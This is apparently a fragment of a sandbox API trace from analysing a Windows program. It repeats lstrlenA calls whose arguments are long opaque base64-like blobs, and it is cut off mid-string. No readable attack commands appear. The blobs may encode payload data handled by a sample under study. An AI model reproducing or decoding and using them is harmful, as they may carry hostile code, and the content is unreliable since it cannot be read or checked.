dycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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") returned 5820
	[0084.638] lstrlenA (lpString="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